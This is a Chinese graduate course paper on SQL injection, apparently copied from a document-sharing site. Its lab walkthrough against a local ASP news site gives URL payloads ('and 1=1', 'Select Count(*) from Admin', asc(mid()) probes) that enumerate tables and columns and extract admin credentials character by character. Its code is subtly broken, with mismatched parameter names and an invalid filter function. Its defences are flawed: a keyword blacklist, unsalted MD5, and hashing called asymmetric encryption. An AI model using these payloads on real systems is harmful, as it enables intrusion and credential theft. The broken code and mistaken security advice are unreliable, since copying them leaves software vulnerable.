当前位置:文档之家› SQL注入原理与防范

SQL注入原理与防范

SQL注入原理与防范
SQL注入原理与防范

西南大学研究生课程考试

答卷纸

考试科目网络与信息安全

培养单位计算机与信息科学学院

专业或专业领域计算机软件与理论

研究方向网络应用与WEB智能

级别2014

学年2014-2017

学期第一学期

姓名杨海波

学号112014*********

类别②全日制硕士

(①全日制博士②全日制硕士③教育硕士④高师硕士⑤工程硕士⑥农推硕士⑦兽医硕士⑧进修)

2014年12 月8 日

研究生院制

备注:成绩评定以百分制或等级制评分,每份试卷均应标明课程类别(①必修课②选修课③同等学力补修课)与考核方式(①闭卷笔试②口试③开卷笔试④课程论文)。课程论文应给出评语。

SQL注入原理与防范

摘要:SQL注入是指用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。文章通过构架一台IIS服务器,模拟SQL注入,并通过攻击过程讲解如何进行SQL 注入防范。

关键字:SQL 网站攻击网络防范

一、SQL注入的基本概念以及实验平台

随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。

作者构架一台WINDOWS+IIS的服务器。网站承载一简单新闻程序。编程使用ASP程序,ACCESS数据库。服务器访问地址(http://localhost/)数据库名:news.mdb 数据库表:admin news

Admin用来存储管理员账号密码相关信息,有下面三个字段

admin_id:表索引,序列号,自动加1

admin_name:管理员账号

admin_pass:管理员密码

表中有一条数据,存储管理员账号密码。

News用来存储新闻网的新闻内容信息,有下面2个字段

News_id:表索引,序列号,自动加1

News_content:文章内容

表中有一条数据,存储了一条新闻。

系统前台程序:index.asp(网站主页),news.asp(新闻列表)

网站后台程序:admin/index.asp(网站管理页面,可以通过管理员账号、密码管理网站)

News.asp网站原程序:

<%

dim conn,rs,newsid

newsid= Request[ "newsid" ] //接收参数

set conn=server.createobject("adodb.connection")

DBPath = Server.MapPath("news.mdb") //连接数据库

conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath

sql="select News_content from news where News_id=newsid" //读取数据库set rs=server.createobject("adodb.recordset")

rs.open sql,conn,1,1 //用数组RS接收已经读取数据库的内容

response.write rs("News_content") //输出数据

%>

当访问:http://localhost/news.asp?news_id=1时,

系统输出:Hello,world!

二、SQL攻击步骤

1、检测是否可以进行SQL注入攻击

第一步:访问http://localhost/news.asp?newsid=1’

SQL执行过程:Select * from news where newid=1’

输出结果:系统报错(非程序报错):字符串语法错误在查询表达式'news_id=1'' 结论:在news.asp程序中,.程序没有判断客户端提交的数据是否符合程序要求。且该SQL语句所查询的表中有一名为newsid的字段。

第二步:访问http://localhost/news.asp?newsid=1 and 1=1

SQL执行过程:Select * from news where newid=1 and 1=1

输出结果:Hello,world!

第三步:访问http://localhost/news.asp?news id=1 and 1=2

SQL执行过程:Select * from news where newid=1 and 1=2

输出结果:系统报错,没有反馈数据。

通过以上三个步骤,可以判定,网站没有进行数值字符的合法性判定,没有进行字符串过滤,因此可以尝试SQL注入。

2、探测数据库表

传值:id=1 And (Select Count(*) from Admin)>=0

访问:http:// localhost /news.asp?id=1 And (Select Count(*) from Admin)>=0

执行:Select * from news where newid=1 and (Select Count(*) from Admin)>=0 如果输出结果为” Hello,world”,说明附加条件成立,即表admin存在,反之,即不存在。如此循环,直至猜到表名为止

有人会说:这里有一些偶然的成分,如果表名、字段名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。另外,如果数据表名、字段取得太复杂,没有规律,也会给系统设计者和编程中造成麻烦,给系统耦合、集成和调试造成增加苦难。

3、探测数据字段

传值:id=1 And (Select Count(admin_name) from Admin)>=0

访问:http://localhost/news.asp?id=1 And (Select Count(admin_name) from Admin)>=0

执行:Select * from news where newid=1 and (Select Count(admin_name) from Admin)>=0

如果输出结果为”Hello,world”,说明附加条件成立,即表中有字段admin_name,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表中字段为止。

4、探测数据长度

传值:id=1 and (select top 1 len(admin_name) from Admin)>0

访问:http://localhost/news1.asp?id=1 And (select top 1 len(admin_name) from Admin)>0

执行:Select * from news where newid=1 and (select top 1 len(admin_name) from Admin)>0

如果top 1的admin_name长度大于0,则条件成立,输出结果为”Hello,world”;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,>6不成立,就是len(username)=6,也就是说用户名一共有六位。

密码也可以通过同样的方式找到。

5、猜每个数据字符

传值:id=1 and (select top 1 asc(mid(admin_name,1,1)) from Admin)>64

访问:http://localhost/news1.asp?id=1 And (select top 1 asc(mid(admin_name,1,1)) from Admin)>102

执行:Select * from news where newid=1 and (select top 1 asc(mid(admin_name,1,1)) from Admin)>102

用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。管理员账号的第一个字符f,ASCII码为102,因此当“>101”时,条件成立,输出结果为” Hello,world”;当“>102”,条件不成立,没有输出。因此可以猜中管理员账号的第一位是f。以此类推,猜中所有管理员账号和所有密码。得出(管理员账号:flypig 密码:flypig)

6、猜管理入口

一般管理员为了管理方便,会选择比较便于记忆的登录地址,如admin/index.asp,admin/admin.asp,admin/manage.asp,manage/index.asp,manage/admi n.asp,依次尝试。得到管理入口:admin/index.asp, 用上面管理员账号,密码登录即可获管理权限。

三、SQL注入的防范

1、过滤非法字符串,过滤掉所有与数据库操作相关的词汇。如:

<%

function replace _danger(str)

dangerstr=“and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|c har|declare”

dangerarr= Split(dangerstr,"|")

for(i=1;i<= Ubound(dangerarr);i++)

{

str = replace(str,”danggerarr[i]”,””) //将所有与数据库操作相关的字符全部过滤}

%>

原程序加入上面段落,在接受参数所有该函数再过滤字符串。

<%

newsid= replace _danger(Request[ "newsid" ])//删除所有非法字符串

%>

2、密码加密保护

在密码存储过程中,所有MD5,SHA1等算法对密码就行加密。即便黑客获取了数据,依然是无效数据。

3、不用使用弱口令

由于非对称加密算法无法反编译,而一些破译网站采用字典的方式。对一些常用口令先行加密,保存为字典。然后再和客户提交的加密后的字符串进行,符合就可以返回加密前的信息。因此尽量不要使用弱口令。

4、隐藏数据库表名、字段名、登录入口。这是一把双刃剑,可以更好的保护网络安全,但同时也会给系统设计、耦合和集成造成不便。

相关主题
文本预览
相关文档 最新文档